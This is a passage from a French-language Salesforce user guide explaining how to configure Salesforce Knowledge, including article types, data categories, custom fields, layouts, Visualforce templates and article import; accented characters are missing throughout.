articles du FAQ. Un type d'article plus complexe peut ncessiter des dizaines de champs organiss en sections. l'aide
de prsentations et de modles, les administrateurs peuvent structurer le type d'article selon la mthode la mieux adapte
au contenu.
Prsentation de type d'article
Une prsentation de type d'article permet aux administrateurs de crer des sections, qui organisent les champs dans un
article, et de choisir les champs que les utilisateurs peuvent afficher et modifier. Une prsentation est disponible par type
d'article. Les administrateurs peuvent modifier la prsentation partir de la page de dtails du type d'article.

Configuration de la base de connaissances Salesforce KnowledgeGuide de l'utilisateur | Terminologie utile relative la base de connaissances
S a l e s f o r c e
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Groupes de catgories
Un groupe de catgories est un conteneur d'une hirarchie logique de catgories de donnes. Par exemple, pour classer les
articles par zones commerciales et par divisions oprationnelles, crez deux catgories, Zone commerciales et Divisions
oprationnelles. Le groupe de catgories Zones commerciales peut comprendre une hirarchie gographique, par exemple
Toutes les zones commerciales au niveau suprieur, puis Europe, Amrique du Nord et Asie au deuxime niveau, et ainsi
de suite.
Voir galement la rubrique Catgories de donnes
Canal
Le canal se rapporte au support sur lequel l'article est disponible. La base de connaissances Salesforce Knowledge offre
trois canaux, comme suit :

La sous-application interne. Les utilisateurs Salesforce.com ont accs aux articles, sous l'onglet Articles, selon la
visilibit de leur rle.
Le Portail Client. Les clients ont accs aux articles si l'onglet Articles est disponible dans le portail. Les utilisateurs
du Portail client hritent de la visibilit du rle attribue au responsable du compte.
La base de connaissances publique. Les articles peuvent tre disponibles pour des utilisateurs anonymes en crant
une base de connaissances publique l'aide de la sous-application Exemple de base de connaissances publique pour
Salesforce Knowledge dans AppExchange. La cration d'une base de connaissances publique ncessite les Sites Force.com
et Visualforce.

Catgorie de donnes
Les Catgories de donnes sont des ensembles de critres organiss de faon hirarchique dans un groupe de catgories.
Les catgories de donnes permettent de classer les articles de votre base de connaissances l'aide d'une hirarchie logique
de catgories. Elles facilitent la recherche d'articles pour les agents et les clients. Les administrateurs utilisent les catgories
de donnes pour contrler l'accs aux articles.
Article brouillon
Les articles brouillon sont des articles dont la rdaction est en cours et qui n'ont pas t publis. Ils ne sont donc pas
visibles sous l'onglet Articles tab, dans le Portail client ou dans une base de connaissances publique. Les responsables de
base de connaissances ont accs aux articles brouillon sous l'onglet Gestion des articles en slectionnant les vues de liste
Mes articles brouillon ou Tous les articles brouillon. Les articles brouillon peuvent ptre attribus tout utilisateur
impliqu dans un travail ditorial.
Agent de base de connaissances
Salesforce.com utilise le terme agent de base de connaissances pour reprsenter un type d'utilisateur spcifique. Les agents
de base de connaissances sont des consommateurs d'articles dans la sous-application interne Salesforce Knowledge. Ces
utilisateurs ont accs l'onglet Articles pour rechercher et consulter des articles, mais ils ne peuvent pas crer, modifier
ni grer les articles.
Responsable de base de connaissances
Salesforce.com utilise le terme responsable de base de connaissances pour reprsenter un type d'utilisateur spcifique. Les
responsables de base de connaissances ont accs l'onglet Gestion des articles pour crer, modifier, publier, archiver et
supprimer les articles.

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Article publi
Les articles publis sont disponibles sous l'onglet Articles et, si applicable, dans le Portail client et la base de connaissances
publique. Pour retirer un article publi, vous pouvez l'archiver ou modifier son statut en brouillon sous l'onglet Gestion
des articles.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge

Configuration de la base de connaissances Salesforce

Knowledge
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des utilisateurs :

Grer les utilisateurs

Pour crer des types d'articles :

Personnaliser l'application
ET
Grer la base de connaissances Salesforce Knowledge

Pour grer les synonymes :

Grer les synonymes

Pour crer des catgories de donnes :

Grer les catgories de donnes

La configuration de la base de connaissances Salesforce Knowledge comprend la cration d'au moins un type d'article, l'activation
de la base de connaissances Salesforce Knowledge, la cration de catgories de donnes et la vrification que les utilisateurs
disposent d'un accs appropri. Une fois la configuration initiale effectue, vous pouvez activer la base de connaissances
Salesforce Knowledge dans le Portail client ou crer une base de connaissances publique l'aide de la sous-application Exemple
de base de connaissances publique pour Salesforce Knowledge dans AppExchange.
Pour configurer la base de connaissances Salesforce Knowledge pour votre organisation :
1. Cliquez sur Configuration Personnalisation Base de connaissances Type d'article, puiscrez un ou plusieurs
types d'articles.
Remarque: Si Configuration Personnalisation Base de connaissances ne s'affiche pas, assurez-vous que
la case Utilisateur de la base de connaissances est active dans votre page de dtails de l'utilisateur.
2. Cliquez sur Configuration Personnalisation Base de connaissances Paramtres.
a. Confirmez que vous souhaitez activer la base de connaissances Salesforce Knowledge, puis cliquez sur Activer la
base de connaissances. Elle ne peut pas tre dsactive.
b. Vous pouvez galement choisir la Langue de la base de connaissances. Cette valeur indique au moteur de recherche
dans quelle langue rechercher des articles. La langue de votre organisation est la valeur par dfaut.

Configuration de la base de connaissances Salesforce KnowledgeGuide de l'utilisateur | Configuration de la base de connaissances Salesforce
K
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6

3. Crez les groupes de catgories et les catgories individuelles que les responsables de base de connaissances peuvent attribuer
des articles. Les catgories aident les agents et les responsables de base de connaissances, les clients et les visiteurs
rechercher des articles dans la base de connaissances. Pour plus d'informations, reportez-vous la rubrique Gestion des
catgories de donnes la page 1334.
Remarque: Par dfaut, les utilisateurs de la base de connaissances Salesforce Knowledge ont accs tous les articles
associs une catgorie. Pour restreindre la visibilit d'un article, vous pouvez spcifier les rles auxquels les catgories
sont visibles. Reportez-vous la rubrique Modification des paramtres de visibilit de groupes de catgories la
page 1347.
4. Pour donner accs la base de connaissances Salesforce Knowledge, attribuez chaque utilisateur une licence de fonctionnalit
Base de connaissances Salesforce Knowledge :
a. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
b. Cliquez sur Modifier en regard du nom de l'utilisateur ou cliquez sur Nouveau pour crer un utilisateur.
c. Activez la case Utilisateur de la base de connaissances.
5. Vrifiez les autorisations utilisateur Base de connaissances Salesforce Knowledge requises sont actives dans le profil attribu
chaque utilisateur. Notez les lments suivants :

Les utilisateurs qui crent des types d'articles et modifient les autres paramtres dans Configuration Personnalisation
Base de connaissances requirent l'autorisation Grer la base de connaissances Salesforce Knowledge . Cette
autorisation est active par dfaut dans le profil Administrateur systme.
Les utilisateurs qui crent, modifient, archivent et suppriment des articles requirent l'autorisation Modifier les articles
. Nous recommandons de crer un profil personnalis Responsable de base de connaissances comprenant les
autorisations Modifier les articles et Afficher les articles . Ces autorisations offrent au responsable de base de
connaissances un accs complet aux onglets Gestion des articles et Articles.
Les utilisateurs qui recherchent et affichent des articles requirent l'autorisation Afficher les articles . Cette autorisation
offre un accs complet l'onglet Articles. L'autorisation Afficher les articles est active par dfaut dans tous les
profils standard.

Pour plus d'informations sur chaque autorisation utilisateur, reportez-vous la rubrique Autorisations utilisateurs sur les
profils la page 117.
6. Pour rendre visible les onglets Gestion des articles et Articles, ajoutez-les un jeu d'onglets existant ou crez une
sous-application personnalise.
7. Pour permettre aux utilisateurs de la base de connaissances Salesforce Knowledge de rechercher des articles l'aide de
synonymes sour la forme de mots-cls, crez un groupe de synonymes.
8. Si votre organisation utilise des requtes, ajoutez la liste associe Articles aux prsentations de page des requtes. La liste
associe Articles permet aux utilisateurs de rechercher des articles qui peuvent les aider rsoudre des requtes.
9. Pour rendre visible les articles aux utilisateurs du Portail client, activez la base de connaissances Salesforce Knowledge dans
le Portail client. Une fois configure, les responsables de base de connaissances peuvent slectionner les articles qui sont
visibles dans le portail.
10. Pour permettre aux visiteurs de votre site Web d'afficher les articles de la base de connaissances Salesforce Knowledge,
installez la sous-application Exemple de base de connaissances publique pour Salesforce Knowledge depuis AppExchange. Une

Configuration de la base de connaissances Salesforce KnowledgeGuide de l'utilisateur | Activation des paramtres de la base de connaissances
S a l e s f o r c e
K n o w l e d g e
|
1 5 0 7

fois configure, les responsables de base de connaissances peuvent slectionner les articles qui sont visibles dans base de
connaissances publique.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge
Gestion des types d'articles
Que sont les catgories de donnes ?
Gestion des synonymes de la base de connaissances Salesforce Knowledge

Activation des paramtres de la base de connaissances

Salesforce Knowledge
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer la base de connaissances Salesforce Knowledge : Personnaliser l'application

Remarque: Avant d'activer la base de connaissances Salesforce Knowledge, crez un type d'article.

La base de connaissances Salesforce Knowledge permet aux utilisateur de crer et grer aisment du contenu, appel article,
de rechercher et d'afficher rapidement les articles voulus. Pour plus d'informations, reportez-vous la rubrique Qu'est-ce que
la base de connaissances Salesforce Knowledge ? la page 1500
Cliquez sur Configuration Personnalisation Base de connaissances Paramtres. Si la base de connaissances Salesforce
Knowledge n'a pas t active dans votre organisation, une option Activer la base de connaissances est disponible. Si la base
de connaissances Salesforce Knowledge est dj active, le menu droulant Langue de la base de connaissances s'affiche. Par
dfaut, la langue de la base de connaissances est celle de votre organisation. Le moteur de recherche utilise la valeur de langue
de la base de connaissances pour rechercher des articles. Modifiez cette valeur uniquement si vos responsables de base de
connaissances souhaitent rdiger des articles dans une autre langue que celle de votre organisation.

Voir aussi :
Prsentation de la base de connaissances Salesforce Knowledge
Configuration de la base de connaissances Salesforce Knowledge
Terminologie utile relative la base de connaissances Salesforce Knowledge

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des types d'articles | 1508

Gestion des types d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des types d'articles :

Personnaliser l'application
ET
Grer la base de connaissances Salesforce Knowledge

Lors de la cration d'un article, l'auteur doit slectionner son type. Les Types d'articles, tels que FAQ et Didacticiels, indiquent
le format et la structure qui permettent d'adapter l'affichage d'un article chaque audience, appele canal. Pour chaque type
d'article, vous pouvez crer des champs personnaliss, personnaliser la prsentation en ajoutant ou en supprimant des sections
et des champs, et slectionner un modle pour chaque canal.
Une fois vos types d'articles crs, vous pouvez les personnaliser, les modifier et les supprimer. Cliquez sur Configuration
Personnalisation Base de connaissances Types d'articles pour afficher la page de liste Types d'articles, qui prsente
une liste de tous les types d'articles pour votre organisation. partir de la page de liste Types d'articles, vous pouvez effectuer
les oprations suivantes :

Cliquer sur Nouveau type d'article pour dfinir un type d'article.

Cliquer sur le nom du type d'article pour afficher la page de dtails. Dans la page de dtails, vous pouvez modifier les
champs existants, ajouter de nouveaux champs personnaliss, ajouter et modifier des sections dans la prsentation de type
d'article, et slectionner un modle pour chaque canal.
Cliquer sur Suppr pour supprimer un type d'article.

Voir aussi :
Dfinition de types d'articles
Utilisation de la liste associe Champs
Modification des prsentations de types d'articles
Attribution de modles de type d'article

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1509

Dfinition de types d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des types d'articles :

Personnaliser l'application
ET
Grer la base de connaissances Salesforce Knowledge

Lors de la cration d'un article, l'auteur doit slectionner son type. Les Types d'articles, tels que FAQ et Didacticiels, indiquent
le format et la structure qui permettent d'adapter l'affichage d'un article chaque audience, appele canal. Pour chaque type
d'article, vous pouvez crer des champs personnaliss, personnaliser la prsentation en ajoutant ou en supprimant des sections
et des champs, et slectionner un modle pour chaque canal.
Pour crer un type d'article :
1. Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.
2. Cliquez sur Nouveau type d'article ou modifiez un type d'article existant.
3. Saisissez les informations suivantes :
Champ

Description

tiquette

Nom utilis pour rfrencer le type d'article dans les pages

de l'interface utilisateur.

tiquette - pluriel

Nom de l'objet au pluriel. Si vous crez un onglet pour cet

objet, ce nom est utilis pour l'onglet.

Genre

Si ncessaire dans la langue par dfaut de l'organisation, vous

pouvez prciser le genre du terme de l'tiquette. Ce champ
s'affiche si la langue par dfaut applicable l'chelle de
l'organisation ncessite un genre. Le paramtre de prfrence
de votre langue n'a aucune incidence sur l'affichage de ce
champ.

Commence par un son vocalique

Si ncessaire dans la langue par dfaut de l'organisation,

activez cette case pour indiquer si votre tiquette doit tre
prcde d'une apostrophe ( l' au lieu de la/le ).

Nom de l'objet

(Lecture seule) Nom unique utilis pour rfrencer le type

d'article lors de l'utilisation de l'API Force.com. Dans les
packages grs, ce nom unique empche les conflits de noms
dans les installations de packages. Le champ Nom d'objet
ne peut contenir que des traits de soulignement et des
caractres alphanumriques. Il doit tre unique, commencer
par une lettre, ne pas inclure despace, ne pas se terminer pas

Configuration de la base de connaissances Salesforce Knowledge

Champ

Guide de l'utilisateur | Dfinition de types d'articles | 1510

Description
un trait de soulignement et ne doit pas contenir deux traits
de soulignement conscutifs.

Description

Description facultative du type d'article. Une description

prcise aide mmoriser les diffrences entre vos types
d'articles lors de leur affichage dans une liste.

Statut du dploiement

Indique si le type d'article est visible hors de la

Configuration. En cours de dveloppement signifie que les
responsables de base de connaissances ne peuvent pas
slectionner ce type d'article lors de la cration. Slectionnez
Dploy uniquement lorsque vous avez termin la cration
d'un type d'article.

4. Cliquez sur Enregistrer.

5. Dans la page de dtails du type d'article, renseignez les informations suivantes :

Dans la liste associe Champs, crez ou modifiez des champs personnaliss selon vos besoins.
Dans la liste associe Champs, modifiez la prsentation du type d'article selon vos besoins afin de rorganiser les champs
et de crer des sections.
Dans la liste associe Affichages de canal, slectionnez un modle pour la sous-application interne, le Portail client et
la base de connaissances publique.

Voir aussi :
Ajout de champs personnaliss des types d'articles
Modification des prsentations de types d'articles
Attribution de modles de type d'article
Terminologie utile relative la base de connaissances Salesforce Knowledge

Utilisation de la liste associe Champs

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Pour modifier les prsentations de type d'article

Grer la base de connaissances Salesforce Knowledge

Dans la liste associe Champs de la page de dtails du type d'article, vous pouvez effectuer les oprations suivantes :

Modifier les champs standard Extrait, Titre et Nom de l'URL. Ces champs sont obligatoires dans tous les types
d'articles et ne peuvent pas tre supprims.

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1511

Cliquez sur Nouveau pour crer un champ personnalis. Tous les types d'articles doivent contenir au moins un champ de
zone de texte enrichi pour rdiger des articles et un champ Fichier pour joindre des fichiers aux articles. Pour plus
d'informations sur les champs personnaliss requis par vos types d'articles, reportez-vous la rubrique champs personnaliss
pour les types d'articles.

Remarque: La base de connaissances Salesforce Knowledge ne prend pas en charge la scurit au niveau du champ.

Cliquez sur Modifier la prsentation afin de rorganiser ou de supprimer des champs et de modifier des sections pour le
type d'article.

Voir aussi :
Ajout de champs personnaliss des types d'articles
Types de champs personnaliss dans les articles
Modification des prsentations de types d'articles

Ajout de champs personnaliss des types d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Crez des champs personnaliss afin de stocker les informations importantes pour vos articles. Avant de commencer, dterminez
le type de champ personnalis crer. Seuls les champs standard Extrait, Titre et Nom de l'URL sont fournis dans les
types d'articles. Par consquent, vous pouvez crer un champ dans lequel les responsables de base de connaissances peuvent
saisir le corps de l'article.
Remarque: Les responsables de base de connaissances peuvent afficher le Nom de l'URL lors de la cration ou de
la modification d'un article. Le Nom de l'URL ne s'affiche pas pour les utilisateurs finaux qui lisent les articles publis.
Pour ajouter un champ personnalis :
Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.
Slectionnez un type d'article.
Cliquez sur Nouveau dans la liste associe Champs. Choisissez le type de champ crer, puis cliquez sur Suivant.
Choisissez le type de champ crer, puis cliquez sur Suivant. Pour une description de ces types, reportez-vous la rubrique
Types de champs personnaliss dans les articles la page 1512.
5. Saisissez une tiquette de champ. Le nom du champ est automatiquement renseign en fonction de l'tiquette saisie. Ce
nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation.
Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas
contenir deux traits de soulignement conscutifs. Assurez-vous que le nom du champ personnalis est diffrent de tout
nom de champ standard de cet objet.
6. Saisissez des attributs de champs, tels que Description, puis cliquez sur Suivant pour continuer.
1.
2.
3.
4.

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1512

7. Pour empcher l'ajout automatique du champ la prsentation de type d'article, dsactivez la case Oui, ajouter ce
champ personnalis la prsentation.
8. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres champs personnaliss.
9. Vous pouvez galement rorganiser vos champs personnaliss dans la prsentation de type d'article.
Remarque: La cration de champs exige parfois la modification simultane d'un grand nombre d'enregistrements.
Pour traiter efficacement ces modifications, Salesforce.com peut mettre votre demande en attente et vous informer
par e-mail une fois le processus termin.

Voir aussi :
Modification des prsentations de types d'articles
Attribution de modles de type d'article
Terminologie utile relative la base de connaissances Salesforce Knowledge

Types de champs personnaliss dans les articles

La premire tape de la cration d'un champ personnalis consiste slectionner le type du champ. Les types de champs
personnaliss suivants sont disponibles pour les articles.
Type

Description

Date

Permet aux utilisateurs de saisir une date ou de choisir une

date dans un calendrier affich dans une zone contextuelle.
Dans les rapports, vous pouvez limiter les donnes des dates
spcifiques l'aide d'un champ de date personnalis.

Date/heure

Permet aux utilisateurs de saisir une date ou de la choisir dans

un calendrier affich dans une fentre contextuelle, et
d'indiquer l'heure. Ils peuvent aussi ajouter la date et l'heure
actuelles en cliquant sur le lien de la date de l'heure en regard
du champ. L'heure est exprime sous un format de 24 heures.
Dans les rapports, vous pouvez limiter les donnes des dates
et heures spcifiques l'aide d'un champ de date personnalis.

Fichier

Permet aux utilisateurs de tlcharger un fichier et de le joindre

un article. Ce type de champ est disponible via un
programme pilote. Pour plus d'informations, contactez
salesforce.com.

Liste de slection

Permet aux utilisateurs de slectionner une valeur dans une

liste que vous pouvez dfinir.

Liste de slection (slection multiple)

Permet aux utilisateurs de slectionner plusieurs valeurs dans

une liste que vous pouvez dfinir. Dans ces champs, les valeurs
affiches sont spares par un point-virgule.

Texte

Permet aux utilisateurs de saisir une combinaison quelconque

de lettres, de chiffres ou de symboles. Vous pouvez dfinir une
longueur maximale, jusqu' 255 caractres.

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1513

Type

Description

Zone de texte

Permet aux utilisateurs de saisir jusqu' 255 caractres qui

s'affichent ensuite sur plusieurs lignes, comme par exemple le
contenu du champ Description.

Zone de texte (longue)

Permet aux utilisateurs de saisir jusqu' 32 000 caractres qui

s'affichent ensuite sur plusieurs lignes, comme par exemple le
contenu du champ Description. Vous pouvez dfinir une
limite infrieure pour la longueur de ce type de champ, si vous
le souhaitez. Toute longueur comprise entre 256 et
32 000 caractres est autorise. Notez qu' chaque fois que
vous appuyez sur Entre dans une zone de texte longue, un
saut de ligne et un caractre de retour sont ajouts au texte.
Ces deux caractres sont dcompts dans la limite des
32 000 caractres. Ce type de donnes n'est pas disponible
pour des activits ou des produits dans des opportunits.

Zone de texte (enrichi)

Permet aux utilisateurs de saisir jusqu' 32 000 caractres de

texte compatible HTML. Reportez-vous la rubrique
Utilisation de champs de zone de texte enrichi la page 417.

URL

Permet aux utilisateurs de saisir jusqu' 255 caractres d'une

adresse valide de site Web. Lorsque les utilisateurs cliquent
sur ce champ, l'URL s'ouvre dans une nouvelle fentre de
navigateur. Notez que seuls les 50 premiers caractres sont
affichs dans les pages de dtails des enregistrements.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Ajout de champs personnaliss des types d'articles

Modification des prsentations de types d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser la prsentation du type d'article :

Personnaliser l'application

Les prsentations de types d'articles dterminent les champs que les utilisateurs peuvent afficher et modifier lors de la saisie
des donnes d'un article. Elles dterminent galement les sections affiches lorsque les utilisateurs consultent les articles. Le
format de l'article, par exemple si les sections de la prsentation s'affichent sous la forme de sous-onglets ou dans d'une page

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1514

unique contenant des liens, est dfini par le modle de type d'article. Chaque type d'article est dot d'une prsentation, mais
vous pouvez choisir un autre modle pour chacun des trois canaux du type d'article.
Pour dfinir la prsentation d'un type d'article :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.

Slectionnez un type d'article dans la liste.
Dans la liste associe Champs, cliquez sur Modifier la prsentation.
Lors de la dfinition de votre prsentation de type d'article :

L'diteur de prsentation comprend deux parties : une palette dans la partie suprieure de l'cran et la prsentation dans
la partie infrieure de l'cran. La palette contient les champs disponibles et un lment de section. La prsentation
contient une section Informations ainsi qu'un espace dans lequel vous pouvez ajouter des sections supplmentaires. Par
dfaut, tous les champs personnaliss sont inclus dans la section Informations.
Remarque: Les champs standard Extrait, Titre et Nom de l'URL ne s'affichent pas dans la prsentation.
Le champ Extrait s'affiche en lecture seule dans une section Proprits en haut de l'article publi. Cet en-tte
comprend galement les champs Date de premire publication, Date de dernire modification
et Date de dernire publication.

Pour ajouter une section, glissez-dposez l'lment de la section dans la palette.

Pour renommer une section, cliquez sur son titre. Vous ne pouvez pas renommer la section Informations.

Pour retirer une section de la prsentation du type d'article, cliquez sur l'icne x ( ) en regard du nom de la section.
Utilisez les boutons annuler et rpter pour respectivement reculer ou avancer d'une tape.
Utilisez les raccourcis clavier suivants :

Pour retirer un champ d'une section, faites-le glisser vers le ct droit de la palette ou cliquez sur l'icne x (
du champ.

) en regard

Annuler = Ctrl+Z
Rpter = Ctrl+Y
Enregistrement rapide = Ctrl+S

Pour slectionner individuellement plusieurs lments, utilisez la combinaison Ctrl + clic. Pour slectionner plusieurs
lments la fois, utilisez la combinaison Maj + clic.
Pour localiser rapidement un lment de la palette, utilisez la case Recherche rapide. Cette case est particulirement
utile pour les prsentations de type d'article qui contiennent un grand nombre d'lments disponibles dans la palette.
Pour enregistrer vos modifications et continuer modifier la prsentation de type d'article, cliquez sur Enregistrement
rapide.
Pour enregistrer vos modifications lorsque vous avez termin de personnaliser la prsentation du type d'article, cliquez
sur Enregistrer. Si vous quittez votre prsentation de type d'article avant de cliquer sur Enregistrer, vos modifications
sont perdues.
Pour crer une copie de votre prsentation de type d'article, cliquez sur Enregistrer, puis slectionnez Enregistrer sous.

Voir aussi :
Dfinition de types d'articles
Ajout de champs personnaliss des types d'articles
Attribution de modles de type d'article

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1515

Attribution de modles de type d'article

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les attributions de modle de type d'article :

Grer la base de connaissances Salesforce Knowledge

Lors de la cration d'un type d'article dans la base de connaissances Salesforce Knowledge, chaque canal est attribu un
modle de type d'article.
Un modle de type d'article spcifie le rendu des articles dfinis dans une prsentation de type d'article. Par exemple, si vous
slectionnez le modle Onglet, les sections dfinies dans la prsentation s'affichent sous forme d'onglets lorsque les utilisateurs
accdent un article. Si vous slectionnez le modle Table de matires, les sections dfinies dans la prsentation occupent une
seule page, avec des liens hypertexte vers chaque section. Salesforce.com fournit deux modles de type d'article standard, Onglet
et Table des matires. Vous pouvez galement utiliser Visualforce pour crer des modles personnaliss.
Pour slectionner l'attribution d'un modle un canal :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.

Slectionnez un type d'article dans la liste pour afficher la page de dtails de type d'article.
Dans la liste associe Affichages de canal, cliquez sur Modifier.
Pour chaque canal, spcifiez le modle.
Pour la sous-application interne et le Portail client, Onglet est le modle par dfaut. Pour la base de connaissances publique,
Table des matires est le modle par dfaut. Si votre organisation dispose d'un modle personnalis pour ce type d'article,
il affiche en plus les deux options standard.

5. Cliquez sur Enregistrer.

Voir aussi :
Modification des prsentations de types d'articles
Dfinition de types d'articles
Terminologie utile relative la base de connaissances Salesforce Knowledge

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Dfinition de types d'articles | 1516

Cration de modles de type d'article personnaliss

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier ou supprimer des modles de type d'article Grer la base de connaissances Salesforce Knowledge
:

Lors de la cration d'un type d'article dans la base de connaissances Salesforce Knowledge, chaque canal est attribu un
modle de type d'article.
Les modles de type d'article personnaliss, Onglet et Table des matires, spcifient le rendu des sections dfinies dans la
prsentation de type d'article. Par exemple, si vous slectionnez le modle Onglet, les sections dfinies dans la prsentation
s'affichent sous forme d'onglets lorsque les utilisateurs accdent un article. Si vous slectionnez le modle Table de matires,
les sections dfinies dans la prsentation occupent une seule page, avec des liens hypertexte vers chaque section. Vous pouvez
galement crer un modle personnalis pour un type d'article l'aide de Visualforce. Les modles personnaliss ne sont pas
associs la prsentation de type d'article.
Pour crer un modle de type d'article personnalis :
1. Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.
2. Recherchez le type d'article pour lequel vous crez le modle, puis cliquez sur son titre afin d'ouvrir la page de dtails. Notez
le Nom API du type d'article. Cette valeur est requise lors de la cration de la page Visualforce.
3. Cliquez sur Configuration Dvelopper Pages.
4. Cliquez sur Nouveau.
5. Dans la zone de saisie Nom, saisissez le texte qui figure dans l'URL comme nom de page. Ce nom ne peut contenir que des
caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer par une
lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de
soulignement conscutifs.
6. Dans la zone de saisie tiquette, saisissez le texte qui s'affiche lorsque l'utilisateur slectionne ce modle dans la liste
associe Affichages de canal, dans la page de dtails du type d'article.
7. Ajoutez votre marquage Visualforce. La seule exigence pour les modles de type d'article personnaliss est que le contrleur
standard doit tre gal au Nom API du type d'article. Par exemple, si le Nom API du type d'article est FAQ__kav, votre
marquage est :
<apex:page standardController="FAQ__kav">
... contenu de la page ici...
</apex:page>

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Suppression de types d'articles | 1517

8. Cliquez sur Enregistrer. Votre modle personnalis peut dsormais tre attribu un canal du type d'article. Pour plus
d'informations, reportez-vous la rubrique Attribution de modles de type d'article la page 1515.

Voir aussi :
Developer's Guide : Visualforce Developer's Guide
Gestion des pages Visualforce
Gestion des types d'articles
Terminologie utile relative la base de connaissances Salesforce Knowledge

Suppression de types d'articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer des types d'articles :

Personnaliser l'application
ET
Grer la base de connaissances Salesforce Knowledge

Pour supprimer un type d'article :

1. Cliquez sur Configuration Personnalisation Base de connaissances Types d'articles.
2. En regard du type d'article voulu, cliquez sur Suppr.
3. Confirmez la suppression du type d'article.
Notes relatives la suppression de types d'article
Notez les points suivants concernant la suppression de types d'articles :

Si votre organisation ne dispose que d'un type d'article, vous ne pouvez pas le supprimer. Chaque organisation de base de
connaissances Salesforce Knowledge ncessite au moins un type d'article dploy. Crez un nouveau type d'article, puis
supprimez l'ancien.
Les articles associs un type d'article supprim sont automatiquement retirs de tous les canaux. Sont concerns les articles
brouillon, publis et archivs.
Salesforce.com n'affiche pas dans la Corbeille les types d'articles supprims, avec les autres enregistrements supprims. Ils
sont affichs pendant 45 jours dans la liste Types d'articles supprims de la page de la vue de liste des articles. Pendant ce
dlai, vous pouvez restaurer le type d'article et ses articles ou les supprimer dfinitivement. Aprs 45 jours, le type d'article
et ses articles sont dfinitivement supprims.
Si un utilisateur clique sur un signet qui renvoie vers l'URL d'un article supprim, le message Privilges insuffisants s'affiche.

Voir aussi :
Dfinition de types d'articles
Terminologie utile relative la base de connaissances Salesforce Knowledge

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1518

Importation d'articles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des articles :

Grer les utilisateurs

ET
Modifier les articles
ET
Afficher les articles

Pour visualiser des articles :

Afficher les articles

Pour crer, modifier, archiver ou supprimer des articles :

Modifier les articles

Vous pouvez importer des articles depuis une base de connaissances existante dans Salesforce Knowledge.
Pour importer des articles :
1.
2.
3.
4.
5.

Prparer les articles.

Crer un fichier CSV pour mapper les articles imports avec un type d'article.
Spcifier les paramtres d'importation (facultatif ).
Crer et tlcharger un fichier zip contenant les fichiers.
Afficher le statut d'importation.

Prparer les articles

Importez les articles individuellement, organisez-les par type d'information (par exemple, FAQ ou Offre), puis vrifiez que
chaque type d'information a un type d'article dans la base de connaissances Salesforce Knowledge qui correspond sa structure
et son contenu. Par exemple, si vous importez des FAQ, assurez-vous que la base de connaissances Salesforce Knowledge
contient un type d'article FAQ avec un nombre suffisant de champs de question et de rponse pour accepter l'article FAQ le
plus long.
Les images peuvent tre importes avec un fichier HTML. Assurez-vous que toutes vos images HTML sont incluses dans un
fichier HTML et rfrences l'aide un chemin relatif contenant la balise img et son attribut src.
Si vos articles contiennent des fichiers HTML, utilisez un type d'article qui contient un champ de zone de texte enrichi et
vrifiez la conformit des fichiers HTML avec les balises et attributs pris en charge dans le champ de zone de texte enrichi
la page 419.
Remarque: Testez votre importation avec une petite srie d'articles.

Configuration de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Importation d'articles | 1519

Crer un fichier CSV pour mapper les articles imports avec un type d'article
Chaque fichier CSV importe un type d'article et mappe le contenu des articles imports avec les champs du type d'article. Par
exemple, un fichier CSV peut mapper le titre des articles avec le champ standard Titre dans un type d'article. Ainsi, le titre
de chaque article est import dans le champ Titre.
1. Crez un fichier CSV par type d'article.

Les fichiers CSV ne peuvent pas contenir plus de 10 000 lignes.

Les lignes d'un fichier CSV ne peuvent pas contenir plus de 400 000 caractres.
